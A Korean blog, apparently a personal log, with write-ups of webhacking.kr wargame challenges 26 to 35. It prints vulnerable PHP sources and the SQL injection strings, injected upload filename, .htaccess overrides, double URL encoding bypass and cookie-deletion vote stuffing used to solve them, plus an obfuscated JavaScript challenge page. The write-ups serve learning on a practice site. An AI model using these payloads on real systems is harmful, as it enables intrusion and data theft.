늘모자란, 개발

늘모자란, 개발




뭐 추가를 해야된다는데 이상하다. index.phps가 있어서 쟤를 봐야겠지만, 아무래도 수상한게 있어서 안짚고 넘어갈수가 없다

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:100%><input type=submit value='add'>
</form>
<!----><br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


뜬금없이 빈 주석이 있다. 빈 주석... 저기 아마 뭐가 채워질것 같다. 염두에 두고 index.phps를 보자

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


우선 $_GET['phone'] 이 인자이고, select 와 from은 사용할 수 없다. 또, =를 사용할 수 없으니 매치도 안될 것 같다.
쭉 읽다보면 admin_ck[ip]에 우리의 아이피를 끼워넣어야 성공할 것 같다.
대강 견적을 보면 multi insert를 이용해 하나 더 넣는식으로 하면 될 것 같지만 일단 해봐야알겠다

쿼리는 이런식으로 만들면 된다. 따로 걸리는건 없는데 이대로 넣으면 쿼리에러가 난다.

2), ('admin','IP',123)


그럼 어떻게 해야할까? '가 제거되고 있기때문이라고 생각해보자.
'를 안쓰고 넣으려면? CHAR를 사용하면 된다.

123), (CHAR(97,100,109,105,110),CHAR(),2


DB가 쓸데없이 똑똑해서 잘 입력해준다..
insert하면 별다른 문제 없이 done이 뜬다. 같은 유형이 많이 나와서 문제 푸는 속도가 짧아져가는것 같다.
2016/04/01 17:36 2016/04/01 17:36


34번에 들어오면 정겨운 메세지가 반겨준다. 뭘 잘못했다는지..

소스를 보면 아주 가관인 소스들이 반겨준다

<script>l1l=document.all;var naa=true;ll1=document.layers;lll=window.sidebar;naa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')|lI1('per');naa|=lII;O0O0=new Array();O0O0[0]='<script>l1l=document.all;var naa=true;~1~~\r~~~layers~%~=win~w.sideb~;~~(!(~l&&~&)~J~F!~H~N~&~R~))~%1~\'~vigator.us~0Ag~+.~`Low~0Ca~e(~Wfunction lI1~G1I){retur~|~1.~7~>xOf}}>0?~!~#:f~~e}~%II=~~}za\'kht\')|}$(\'p~0}*~B~|}#}!;O00O=new Arr~.~s}8}:O[0]=\'<script>}Wf(do}Sumen}[.URL}r}_}p}e}nxO~    \\\'\'}8O}9}M~u||    };}MuYYvGUsPrTgKgtmIoOvIPKXjBJLVpjRT|\r|+}M~w~y~{ __\'+\'|9(|:|<}9}|\r};0}M%76%61|H2%20l%3|O3D\\167i|KEd|Y57w|PEo}0|Y6|O|L|TF|T|M3A|T0|TB|K6u|a|J63~y|a7|^|P|R|T3|P8|KC|T4|P9|H|v6{    35|TD|P|n7A|Y4|M2Fg|u{|T|J|W|Y2|}|N|K9n{2Efro|K{4{68~|Y0{5F|`14{2{3|t2{\r3B|a{3{JD|S{K|e|i2{5|i0{I{1ce{{I|T{@C{N|J{E|u|i|{1r{{N{za{$156{S|i{za|Q%{|N}Dy{{|P{`|T{B{5';O00O='fu';OO0O='OWkhHnBHDQcdCEOiTtMpvSOQsnnl';O00O+='nction __'+'__(_'+'O0){';O0OO='\166%61r%20l%32%3Dwi\156dow%2E\157p%65%72\141%3F%31%3A%30%3B%66unct\151%6F\156%20l%33%28l%34%29%7Bl%35%3D%2Fza%2Fg%3B\154%36%3DS%74r\151\156g%2Ef\162omChar%43%6Fd%65%28%30%29%3B%6C%34%3D\154%34%2E%72\145p%6C%61\143e%28l%35%2C%6C%36%29%3B\166\141%72%20l%37%3D\156\145%77%20Array%28%29%2C%6C%38%3D%5F%31%3Dl%34%2E\154ength%2Cl%39%2C%6C\111%2C%69l%3D%31%36%32%35%36%2C%5F%31%3D%30%2C%49%3D%30%2Cl\151%3D%27%27%3Bdo%7Bl%39%3D\154%34%2E%63%68a\162%43o%64\145%41\164%28%5F%31%29%3B\154\111%3Dl%34%2E%63\150a%72C\157\144%65\101\164%28%2B%2B%5F%31%29%3B%6C%37%5B\111%2B%2B%5D%3D\154\111%2B\151\154%2D%28\154%39%3C%3C%37%29%7Dw\150ile%28%5F%31%2B%2B%3Cl%38%29%3Bv\141r%20\154%31%3D%6E\145\167';O0O0[0]+='|n3|p{M{\n{P{m{65n{7|i4h{{{!3{\r2C{]4z{    69{N{z{"|T|V{3{b{    zza|o{|s{{Iz){Cz{|az|P{r{kB~{{N{F|Xzz{-|K3|a|t|l7{R1{:o{4{pzF|M7{{A%z\'z{c{G{Iz,{l5{JzOEz?z|LrCo{={?{91z{y2|vzizQz{{FB{jzQBz,zkzk5z{MztBi{]2{zP{|T{F{{{r{\r7Dwh|]yz    {yzR{zj|v3{|3{zT{H|Z{f{h|Q{Nz}>|H7|D};}J]|3}N0lDzy)}lB}_2|}N)!=-1y8{y*~a}q}X}g}p}sh}U}m}`y;y6PyG}QyWw|1}9y\'e~y[}<\'FZcXBu~dy~xRnnGtwnQpYWDoMCqHSyxjkPYy[0y\'l(~ves\'    xx    |<ca}0|?|B)}|y^~xx(|    |B}G}:}MVbOolLdFvrFXhHrDOXxBeCIQFh}CqvW}x mqtkNOVEjx}M|Dy\\|G|Q|rzD{(zCzyz{]z.|Wz{>5|dxS}C{X|HxX{zz{tzz-|p|V{Bz6|{z|t5zs{!zwz)5{zN|N~7|K{r{.{0{2{t3h{X{h{4|K{<{[{AI|S{cyy!|K8il{Szhzz;~Yz}zo|Y~Yzzxl{}{dz<zxtz*xw|Ww{mz{Nxs{yzrw\'{zw/x[z;zY|T{zaw&z.w(|vzzazz({G~yzBz&zw7{Jx{e|zztzz~wAy|[wz1wKyFx[zz<z\'wBsy!itcw{zqw&w?zQzx:{Nzm|T|rz.w^wd|L|i{5{@|twqwx{w$w.xi{]w({yw<w5w\\zw>{\'';O00O+='eva';OOOO='bZbJgXimpgJiRythFtjyLqqcUrROoOnOcGro';O00O+='l(unes'                            +'cape(_O0))}';eval                                    (O00O);OO00='kwQajkuWQqsOeyJwaOOOOPWOqVUfOOUpWyvcVmbXgrOOR';O00O='';O0OO+='%20\101\162r\141%79%28%29%2Cl%30%3D%6E%65w%20%41%72ra%79%28%29%2C\111%6C%3D%31%32%38%3B%64\157%7B%6C%30%5B%49\154%5D%3D%53%74rin%67%2Ef\162o%6D\103\150%61rCo\144\145%28\111\154%29%7Dw\150%69le%28%2D%2D\111l%29%3BIl%3D%31%32%38%3B\154%31%5B%30%5D%3Dli%3Dl%30%5B\154%37%5B%30%5D%5D%3B%6Cl%3D\154%37%5B%30%5D%3B%5Fl%3D%31%3B%76a%72%20%6C%5F%3D\154%37%2Elength%2D%31%3B%77\150i%6Ce%28%5Fl%3Cl%5F%29%7B%73%77%69\164%63%68%28\154%37%5B%5Fl%5D%3CIl%3F%31%3A%30%29%7Bc%61%73e%20%30%20%3A\154%30%5BIl%5D%3Dl%30%5Bll%5D%2B%53\164r%69n\147%28%6C%30%5Bl%6C%5D%29%2Esu%62\163t\162%28%30%2C%31%29%3B\154%31%5B%5Fl%5D%3Dl%30%5B\111\154%5D%3Bif%28%6C%32%29%7Bl%69%2B%3D\154%30%5B\111l%5D%7D%3B\142%72\145\141';OOO0='l';O0O0[0]+='zD~7{,8x[w.{]yxw{c{-wuubwu~!{ywq{zn|uyw1wivzaw-zrz,vw4z1f{\\w$|Ow^{Ww+|PywHw\'zs|Sxww{G|KzE|jea|1x#\'ly#}I}Ky\'y)}w}w}e}e}s}ZyYyY|;}yPy+}R}nyCyHy+}n}V}\\}cvNW}U~6g~)~N}O/~~~}]xPx}Mk{ 6z{66a|Hvzw[vxwoz|Mwh|nv%{v"xtwgw>Fv4w3vw9v({Ax[v+yw/|]zk|Wxrw1vw:uwuv6w/v2v$z&zxu    zpuv/zQ|}rwV6Evv\ruw0uu*vzEwu|i{T{>2svzPvz(yv|Z|k5v}6|vu"wzfz<zuyu#vz3uzlu { wiuQ|Hw4{){{byuOw8|U{z7uL2{[zNu<|N|zwfuDu:{m2zHv.u0zhz4xgyD{[{~e{{Q}v~|Nn{{|]wuMyv}xU{sy4wGz3tzU{>|{{v+w|]ux\\{9wVy{tzwx|tt|el~zzzAuuyufzpw{rv0z{zPt$x\\};zru/{\ru8u]|uz|t{~Ct.|KzJ{m7cu<|au={?~|ew{QwVzNw8lOufw4y#0 t[t\\}MlJ~7Eyg|||||||||!|#|%|\'|)|+|-|/wycyeygyiykymyoyqysyuW||9|9t\\ x|E~W|vt\'gMbLfyNyvpLHa|    sjDE|    hImUePWluiSxIMSw_CcHpJNQHcJkZUIOUKZeRRDmSkxPtOwx4SPJOZsRmsoCGWnoBLGfwSiFxlVOsdTMTuKsOObYtMElXOqswkwUdVGdE~pMOQUq|</~~~>';O0OO+='\153%3Bd\145%66a\165lt%3A%6C%31%5B%5Fl%5D%3Dl%30%5B\154%37%5B%5F%6C%5D%5D%3B\151f%28\154%32%29%7Bl%69%2B%3D%6C%30%5Bl%37%5B%5Fl%5D%5D%7D%3B\154%30%5BIl%5D%3D\154%30%5B\154%6C%5D%2B\123%74ri\156\147%28\154%30%5B%6C%37%5B%5F\154%5D%5D%29%2Es%75%62\163tr%28%30%2C%31%29%3Bb\162\145%61k%7D%3BI\154%2B%2B%3Bll%3Dl%37%5B%5Fl%5D%3B%5F%6C%2B%2B%7D%3Bi\146%28%21l%32%29%7Br\145%74%75\162n%28l%31%2Ej%6Fin%28%27%27%29%29%7D%65%6Cs\145%7B\162et%75\162n%20li%7D%7D%3Bva%72%20l\117%3D%27%27%3B%66\157r%28\151%69%3D%30%3Bii%3C\117%30\117%30%2El\145\156%67\164\150%3B%69\151%2B%2B%29%7B%6C\117%2B%3D%6C%33%28O%30\117%30%5B\151%69%5D%29%7D%3Bi%66%28\156a\141%29%7Bd%6Fc\165%6De%6Et%2E\167ri\164e%28\154O%29%7D%3B';OO00      ='RoxNlIkMOmOOWkhHnBHDQcdCEOiTtMpvSOQsnnlrbZbJgXimpgJiRythFtjyLqq';____    (O0OO);OOO0+='iDyZqTZVcfvUWakfMOsPeOSvGHFKsltOjiCGJyOldSwBXwDSOtKufLdbImGpuYuIBVSlKfOYexPgYdEwOaLbhqeOYZXOvEMnDCTXORmFveQTjPUdaNOxxOgtZpYsNjOOThVnOho';</script>


난독화랍시고 이렇게 해놔도 되는걸까?
뭐 .. 너무 쉽게 푼 감이 있고 블로그에 글을 적으면서 툴소개 비슷하게 되버리는것 같다만
나는 난독화를 풀려고 Firefox 애드온중 Javascript deobfuscator 를 사용하였다.

일전에도 사용한적이 있는데..
이건 너무 뜬금없게 다나오니 할말이 없다. 어쨌든 이 툴을 쓰면 아주 간단히 ... (보이는게 다가 아닐정도로 간단하다)
해결된다...


2016/04/01 16:46 2016/04/01 16:46


이제 다짜고짜 틀렸다고 하는건 놀랍지도 않다. index.phps를 보자.

<hr>
Challenge 33-1<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[get]=="hehe")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


사실 뭘 위한 문젠지 진짜 모르겠는데..
$_SERVER의 PHP_SELF는 자기 자신을 가리키는 것이다.

저대로 출력하면 이런 모양이 나온다.

<script>document.write("<a href=http://webhacking.kr/challenge/bonus/bonus-6/index.phps>/challenge/bonus/bonus-6/index.phps</a>");</script>


좀 보기에도 이상하긴한데... 문제가 나타나는건 get인자로 hehe를 받으면 된다고 한다.
그러면 그냥.. 현재 경로에 ?get=hehe 를 적어주면 Next로 넘어갈 수 있다. 이러면 클리어인줄 알았는데, next를 누르니 다음 문제가 나왔다.
진짜 놀랠뻔했다. 이렇게 끝나면 안되는게 맞지 암

<hr>
Challenge 33-2<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_POST[post]=="hehe" && $_POST[post2]=="hehe2")
{
echo("<a href=##>Next</a>");
}
else
{
echo("Wrong");
}
?>


옳거니 이 문제는 get 과 post를 단디 알고 있나 보려고 낸 문제인가보다.

POST값은 브라우저로 보내기 참 거시기하므로 디버거 도구를 사용하기로 한다.

대강 이런 모양이다.

POST http://webhacking.kr/challenge/bonus/bonus-6/lv2.php HTTP/1.1
Host: webhacking.kr
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={}; kk=1

post=hehe&post2=hehe2


그러면 주소가 또 하나 뜬다. 또 index.phps를 봐야한다.

<hr>
Challenge 33-3<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[myip]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=##.php>Next</a>");
}
else
{
echo("Wrong");
}
?>



내 아이피를 myip에 넣어서 적어주면 될 것 같다.
근데 그럼 또 나온다.

<hr>
Challenge 33-4<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[password]==md5(time()))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : ".time());
}
?>



타임스탬프를 찍어주는데 여기서 잠깐 멈칫했다.
time은 계속 변하는데 어떻게 맞추나. 근데 잘생각해보면 그냥 몇십초 땡겨서 새로고침 하고 있으면 되는거였다. 허무...

md5(time()+10) 을 해줘서 얻은값으로 새로고침하고 있으면 또 Next가 나온다.

<hr>
Challenge 33-5<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_GET[imget] && $_POST[impost] && $_COOKIE[imcookie])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


POST, GET, COOKIE다 있어야 통과 시켜준다고 한다

POST http://webhacking.kr/challenge/bonus/bonus-6/md555.php?imget=1 HTTP/1.1
Host: webhacking.kr
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={}; kk=1;imcookie=hi

impost=1


요렇게 하면 3종을 한방에 넘길 수 있다. 또 Next...

<hr>
Challenge 33-6<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

if($_COOKIE[test]==md5("$_SERVER[REMOTE_ADDR]") && $_POST[kk]==md5("$_SERVER[HTTP_USER_AGENT]"))
{
echo("<a href=###>Next</a>");
}
else
{
echo("hint : $_SERVER[HTTP_USER_AGENT]");
}
?>



cookie의 test값에 나의 아이피를 md5,
post값으로 md5화한 나의 http user agent를 실어 보내면 된다.

이제 끝날때좀 됐다고 생각하지만 안끝났다. 아직있다

<hr>
Challenge 33-7<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?
$_SERVER[REMOTE_ADDR]=str_replace(".","",$_SERVER[REMOTE_ADDR]);

if($_GET[$_SERVER[REMOTE_ADDR]]==$_SERVER[REMOTE_ADDR])
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong<br>".$_GET[$_SERVER[REMOTE_ADDR]]);
}
?>



아이피에서 .을 빼고 변수에 넣는데 얘를 변수명으로 쓰고 싶은 모양이다.
요즘은 $_SERVER에 들어가는 변수값은 다시 할당 해줄 수 있다는게 포인트다. 결국 변한건 고대로 변하기때문에, if에서 원하는 값은 전부 똑같은 값이다. 아이피니까 따로 올리진 않겠다..

<hr>
Challenge 33-8<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

extract($_GET);

if(!$_GET[addr]) $addr=$_SERVER[REMOTE_ADDR];

if($addr=="127.0.0.1")
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>



extract는 전에도 한번 나왔지만 그냥 변수로 쓰겠다는거라 큰 의미는 없다.
$_GET[addr]에 값이 할당되어 있지 않으면 $addr에 원격 아이피, 즉 내 아이피를 넣는다고 말하고 있으므로
$_GET[addr] = 127.0.0.1; 해주어 패스하자

<hr>
Challenge 33-9<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

for($i=97;$i<=122;$i=$i+2)
{
$ch=chr($i);

$answer.=$ch;

}

if($_GET[ans]==$answer)
{
echo("<a href=###>Next</a>");
}
else
{
echo("Wrong");
}
?>


97부터 122까지의 아스키코드를 출력하라는건데 요 아스키코드들은 왠만하면 다 알것 같다. 바로 알파벳 소문자다.
근데 2씩 뛰고 있다. 2씩 뛰면 이런 모양이 되겠지?
acegikmoqsuwy

넣어주고 넘어간다. 벌써 10번.. 이제 끝나겠지 하는 막연한 생각을 가져본다.

<hr>
Challenge 33-10<br>
<script>document.write("<a href=http://webhacking.kr<?=$_SERVER[PHP_SELF]?>s><?=$_SERVER[PHP_SELF]?>s</a>");</script>
<hr>

<?

$ip=$_SERVER[REMOTE_ADDR];

for($i=0;$i<=strlen($ip);$i++)
{
$ip=str_replace($i,ord($i),$ip);
}

$ip=str_replace(".","",$ip);

$ip=substr($ip,0,10);

@mkdir("answerip/$ip");

$answer=$ip*2;
$answer=$ip/2;
$answer=str_replace(".","",$answer);

$pw="###";

$f=fopen("answerip/$ip/$answer.$ip","w");
fwrite($f,"Password is $pw\n\nclear ip : $_SERVER[REMOTE_ADDR]");
fclose($f);

?>


좀 읽어야되는 길이가 나와싸.

ip길이만큼 돌면서 해당하는 숫자를 ord해주고 .을 없애는둥 여러 공정을 거치는데 요대로 폴더가 만들어지는것 같고.
구해지는데로 그냥 경로를 넣어주면된다. 내가 매번 말하지만 요런걸 일일히 다 하고 있을 필요가 없다. PHP는 깔기 쉬우니 그냥 해보는게 시간을 절약하는 길이다... ㅠㅠ

어쨌든 넣으면 끝난다. 쓸데없이 길고 점수도 짠... 문제..





2016/04/01 16:11 2016/04/01 16:11


왠 테이블이 있고 각 row는 클릭할 수 있게 되있다. 테이블의 제일 끝에는 join이 위치해있다
뭘 눌러도 일단 no가 뜨고 join을 누르니 내 아이디가 떴다. 검색해보니 테이블안에 내 아이디가 위치해 있었다. hit는 0..
나를 한번 클릭하니 새로고침 되고 1이 올랐다. 내 아이디를 위로 올려야되는걸까?

쿠키를 보니 vote_check 라는값이 있다. 이걸로 투표를 했나 안했나 체크하는것 같은데..
당연한 말이지만 vote_check를 삭제하고 클릭하면 투표를 무한정 할 수 있다. 세션에서 체크를 하지 않고 클라이언트를 맹신하면 어떻게 되는지 보여주는 예라고 할 수 있다.
일일히 지우고 클릭하기 귀찮았으므로 python script를 대충 짜고 쿠키를 설정하지 않은채 쭉 보내준다.



너무 많이 보낸것 같다..
2016/04/01 15:30 2016/04/01 15:30
$port=rand(10000,10100);
$socket=fsockopen("$_GET[server]","$port",$errno,$errstr,3) or die("error : $errstr");
error : Connection timed out


fsockopen으로 포트를 접근 시켜주면 되는 문제다. 별다른 트릭은 없는것 같고,
10000~10100 까지 랜덤하게 포트 스캔처럼 하는데, 타임아웃이나 refused 되지 않으면 해당 포트로 데이터를 쏴준다

나는 내 아이피로 하고 싶었으나 학교에 있기때문에 임의 포트 개방을 할 수 없었기 때문에 별 수 없이 내 개인서버에 잠깐 포트를 열었다.
다만 일일히 새로고침하긴 싫으니 스크립트를 하나 만들어서 돌렸다.

nc -nvl -p 10000


요렇게 해놓고 계속 접근을 해서 포트가 10000이 걸리게 되면, 다음과 같이 응답이 온다.

Connection from [112.216.9.92] port 10000 [tcp/*] accepted (family 2, sport 42925)
GET /Password is ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ HTTP/1.0
Host: 


패스워드를 입력해주면 클리어.
2016/04/01 15:18 2016/04/01 15:18


파일 업로드 취약점은 상식이 거의 없어서 밑천이 드러나고 있다... 계속 고전중인데, 이녀석도 그렇게 될 것 같은 기분이 든다

phps를 보면,

<?
mysql_connect() or die();

mysql_select_db("challenge_30_table") or die();

$q=mysql_query("select password from challenge_30_answer") or die();

$data=mysql_fetch_array($q) or die();

if($data)
{
$pw="????";
echo("Password is $pw");
}

?>


index.phps는 일단 아무 상관이 없다. 그리고 입력하는 데이터도 없고, 얘를 성공적으로만 돌아가게 하면 그냥 성공인것 같다.

http://webhacking.kr/challenge/web/web-15/upload/index.php


로 들어가면 흰화면이 뜬다. 아마 die가 된다는 말이겠지?
접근은 간단하게 .htaccess를 겹쳐썼듯이 해보기로 한다.
내용은 완전히 똑같게 하고 , index.php를 업로드 시도했더니 정말 쿨하게 no가 돌아왔다. 경로를 upload/ 를 붙여봐도 똑같다. index란게 안되나..

indx2.php로 이름을 바꾸고 올려보니까 올라갔는데, <xmp>가 붙은것 마냥 그대로 나왔다.
어쨌든, php를 원격으로 실행도 안되고 결국은 아까처럼 htaccess를 가지고 놀아야 할 느낌이었다. 역시 좀 생각을 해봤는데 내가 안본지 오래되서 놓쳤던게 있었다.

mysql_connect()는 여기에 원래 host를 적어줘야한다. 근데 여기선 host가 없다. 즉 기본값을 따라간다는것 같은..데...
mysql 홈페이지에가서 이런걸 확인해볼 수 있었다.

resource mysql_connect(string server= =ini_get("mysql.default_host"),
                       string username= =ini_get("mysql.default_user"),
                       string password= =ini_get("mysql.default_password"),
                       bool new_link= =false,
                       int client_flags= =0);


그렇다면 어떻게 해야하느냐~ 얘를 수정해보도록 하자.
htaccess에서 PHP value를 주기 위해서는 php_value라고 명시해줘야 한다. 다음과 같은 모양이 되야한다.(도메인이 아니라 IP를 쓰자)

php_value mysql.default_host "@@@@@@@@"

php_value mysql.default_user "############"

php_value mysql.default_password "~~~~~~~"


이렇게 만들어 주면 그냥 일사천리다.
내가 의도한 DB에 접속하도록 DB와 테이블을 만들어주면 문제가 해결된다.
값은 별 상관없다.

INSERT INTO `challenge_30_table`.`challenge_30_answer` (`password`) VALUES ('1')



2016/03/31 21:43 2016/03/31 21:43


아까와 흡사한 문제인것 같다.
. 이 들어가면 없애버리니까 abc.txt 는 abctxt 같은 형태로 저장되려나 보다.
pass.word나 .htaccess를 올려보니 선택된 파일이 존재한다고만 하고, 감이 안왔다.
이번 문제는 정말 너무 불친절해서 뭘 의미하는질 모르겠다..

파일을 그냥 이것저것 올려보니까 드디어 뭔가 단서를 얻은 것 같다.

글자가 안보여서 좀 키웠다. 여튼 요런게 나온다.
그리고 똑같은 파일을 올리면 또 안나온다. (안나오는게 정상은 아닌것 같다)
한번 더 올려봤다.



이제야 뭔가 감이 잡히는 느낌이다. 결국 filename으로 password를 select 해야되는 미션으로 보인다.
요컨데 예상하기로 쿼리는

INSERT INTO c29_tb (time,ip,file) VALUES (time(),$_SERVER['REMOTE_ADDR'], $file_name)


요런 모양일 것 같다. 고로..
") 로 파일명을 조작해서 보내본다.


------WebKitFormBoundary3EKwhzwJ8VfERMhS
Content-Disposition: form-data; name="upfile"; filename="'); select 1,2,password from c29_tb"
Content-Type: image/png

------WebKitFormBoundary3EKwhzwJ8VfERMhS--


아니나 다를까 에러가 돌아온다. (upload error!)

여기서 검색을 좀 했다. 나로서는 너무 답답해서 .. 원리는 알겠는데 순서를 짜맞추고 있는게 너무 답답해서 좀 참고했다.

나름의 정리를 하자면
Content-Disposition: form-data; name="upfile"; filename="abcd.txt', (select password from c29_tb), CHAR(..............))#"


첫번째 파라미터는 filename에 들어가야할 녀석이고, 두번째는 time, 그다음은 IP이다.
이때 IP는 무조건 내 아이피가 기입되야 볼 수 있는 구조이다. 즉, IP가 다르면 보여지지 않기때문에 CHAR함수를 이용해 아이피를 hex값으로 변환해 정상동작하도록 시킨다.
그리고 원래 시간이 나와야할 곳에 서브쿼리를 작성해 password를 출력하게 하면 된다.

몇십분동안 Done은 뜨는데 보이질 않아서 정말 빡쳤었는데 결국 아이피 문제였다... 다양한 방법으로 생각을 해봤으면 좋았을것을 아쉽다
2016/03/31 21:06 2016/03/31 21:06


나는 처음에 얘를 보고 웹쉘이라고 생각했다.
그래서 php파일을 올린다음에 웹쉘처럼 쓰면 되지 않을까? 생각했다. 우선 php코드가 작동되는지 봐야했기때문에, hi.php 를 작성해서 올려봤다.


아무래도 보안 어쩌고 하는거보니 웹쉘로 공격당했나보다 정말로..
어쨌든 이 문제가 요구하는건 .htaccess를 겹쳐써서, 해당 디렉토리가 더 이상 기능을 수행할 수 없도록 하는것이 목표라고 할 수 있겠다.

그래서 빈 htaccess를 올려보고 별걸 다해봤는데 잘 안되었다.
결국 검색찬스...를 썼는데, read me 라고 출력되는게 애초에 php 코드가 출력되는거라서 이를 무력화하면 된다고 한다.

htaccess의 문법은 좀 특이한 편인데 나는 여기서 PHP를 off하는걸 확인하고 옮겼다.

RemoveHandler .php .phtml .php3
RemoveType .php .phtml .php3
php_flag engine off


업로드 하는순간 문제는 클리어된다.
요점은, htaccess 간수를 잘해야된다정도랄까? REWRITE ENGINE등으로 넘겨주고 있는 곳도 많은데 (나를 포함해), htaccess가 겹쳐지게 되면 정말 재앙이 일어날 수 있다는걸 알려주는것 같다.
2016/03/31 18:36 2016/03/31 18:36


index.phps를 보라고 주석에 되있으니 보자....

<html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?
if($_GET[no])
{

if(eregi("#|union|from|challenge|select|\(|\t|/|limit|=|0x",$_GET[no])) exit("no hack");

$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");

if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();

}

?>
<!-- index.phps -->
</body>
</html>


no라는 값을 GET으로 넘겨야되는데 골때리는게
정말 select를 위해 필요한녀석들을 다 필터링해놨다. 그렇지만 admin으로 패스해야하니 짱구를 굴려보자
사실 이 문제는 이 문제와 굉장히 닮았다. 그래서 귀찮은마음에 답을 복사해서 넣어봤더니... ㅎㅎ 당연히 안된다.

원리는 똑같다. 앞선 데이터를 무효화하고 admin으로 로그인하면된다.
우선 admin의 row를 알아야내야하는데, 0은 반응없고 1일때는 true, 2일때는 query error가 난다. 2가 admin인가보다.
no=의 값이 괄호 처리 되어 있기때문에 괄호부터 깨준다.

-1) 를 넣어주고(1만 아니면 뭐든 상관없다)
그다음에 우리가 원하는 2를 넣어준다. 근데 no=2를 하고 싶지만 =가 필터링되고 있다.
그래서 잘 써먹던 in을 적어줘봤다. -1) or no in(2) 그치만 내가 못읽은... '(' 가 필터링 되고 있다
그래서 like를 써보기로 하고, 주석처리를 해준다.

mysql은 #과 -- 를 주석으로 쓸 수 있다.
고로 대강 쿼리를 만들어보면

0) or no like 2 -- 


요런 모양이 된다.


2016/03/31 16:02 2016/03/31 16:02


이제 문제 생김새에 입대기도 지친다.

<html> 
<head> 
<title>Challenge 26</title> 
<style type="text/css"> 
body { background:black; color:white; font-size:10pt; }     
a { color:lightgreen; } 
</style> 
</head> 
<body> 

<? 

if(eregi("admin",$_GET[id])) { echo("<p>no!"); exit(); } 

$_GET[id]=urldecode($_GET[id]); 

if($_GET[id]=="admin") 
{ 
@solve(26,100); 
} 

?> 


<br><br> 
<a href=index.phps>index.phps</a> 
</body> 
</html> 


정규식 필터링인데, get ID중에 admin을 필터링하고 있다. 근데 solve하려면 admin을 넣어야된다고 한다.
사실 이건 문제같지도 않은게, eregi 밑에 urldecode를 하고 있다. 뭐하라는건진 잘 모르겠는데 urlencode해주면된다.
근데 바로 안된다. 좀 고민을 하다가 두번 인코드하면 어떨까 해서 했더니 된다.

사실 double encode는 알고 있었는데 바로바로 생각이 안나는거보니 멀었다...
이 기법은 유명한 기법인데, OWASP의 XSS Filter Evasion 문서를 참고 하면 도움이 될 것 같다.

2016/03/31 15:41 2016/03/31 15:41